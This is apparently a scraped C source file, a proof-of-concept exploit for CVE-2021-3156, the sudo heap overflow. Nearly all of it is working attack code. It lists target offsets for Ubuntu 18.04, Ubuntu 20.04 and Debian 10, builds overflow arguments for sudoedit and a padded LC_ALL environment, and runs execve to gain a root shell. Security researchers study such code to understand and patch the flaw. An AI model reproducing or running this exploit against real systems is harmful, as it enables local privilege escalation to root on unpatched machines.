1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159
|
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <ctype.h>
#define MAX_ENVP 512 #define SUDOEDIT_PATH "/usr/bin/sudoedit"
typedef struct { char *target_name; char *sudoedit_path; uint32_t smash_len_a; uint32_t smash_len_b; uint32_t null_stomp_len; uint32_t lc_all_len; } target_t;
target_t targets[] = { { .target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27", .sudoedit_path = SUDOEDIT_PATH, .smash_len_a = 56, .smash_len_b = 54, .null_stomp_len = 63, .lc_all_len = 212 }, { .target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31", .sudoedit_path = SUDOEDIT_PATH, .smash_len_a = 56, .smash_len_b = 54, .null_stomp_len = 63, .lc_all_len = 212 }, { .target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28", .sudoedit_path = SUDOEDIT_PATH, .smash_len_a = 64, .smash_len_b = 49, .null_stomp_len = 60, .lc_all_len = 214 } };
void usage(char *prog) { fprintf(stdout, " usage: %s <target>\n\n" " available targets:\n" " ------------------------------------------------------------\n", prog ); for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) { printf(" %d) %s\n", i, targets[i].target_name); } fprintf(stdout, " ------------------------------------------------------------\n" "\n" " manual mode:\n" " %s <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>\n" "\n", prog ); }
int main(int argc, char *argv[]) { printf("\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n\n");
if (argc != 2 && argc != 5) { usage(argv[0]); return -1; }
target_t *target = NULL; if (argc == 2) { int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) { fprintf(stderr, "invalid target index\n"); return -1; }
target = &targets[ target_idx ]; } else { target = malloc(sizeof(target_t)); target->target_name = "Manual"; target->sudoedit_path = SUDOEDIT_PATH; target->smash_len_a = atoi(argv[1]); target->smash_len_b = atoi(argv[2]); target->null_stomp_len = atoi(argv[3]); target->lc_all_len = atoi(argv[4]); }
printf( "using target: %s ['%s'] (%d, %d, %d, %d)\n", target->target_name, target->sudoedit_path, target->smash_len_a, target->smash_len_b, target->null_stomp_len, target->lc_all_len );
char *smash_a = calloc(target->smash_len_a + 2, 1); char *smash_b = calloc(target->smash_len_b + 2, 1);
memset(smash_a, 'A', target->smash_len_a); memset(smash_b, 'B', target->smash_len_b);
smash_a[target->smash_len_a] = '\\'; smash_b[target->smash_len_b] = '\\';
char *s_argv[]={ "sudoedit", "-s", smash_a, "\\", smash_b, NULL };
char *s_envp[MAX_ENVP]; int envp_pos = 0;
for(int i = 0; i < target->null_stomp_len; i++) { s_envp[envp_pos++] = "\\"; } s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
char *lc_all = calloc(target->lc_all_len + 16, 1); strcpy(lc_all, "LC_ALL=C.UTF-8@"); memset(lc_all+15, 'C', target->lc_all_len);
s_envp[envp_pos++] = lc_all; s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **\n");
execve(target->sudoedit_path, s_argv, s_envp); return 0; }
|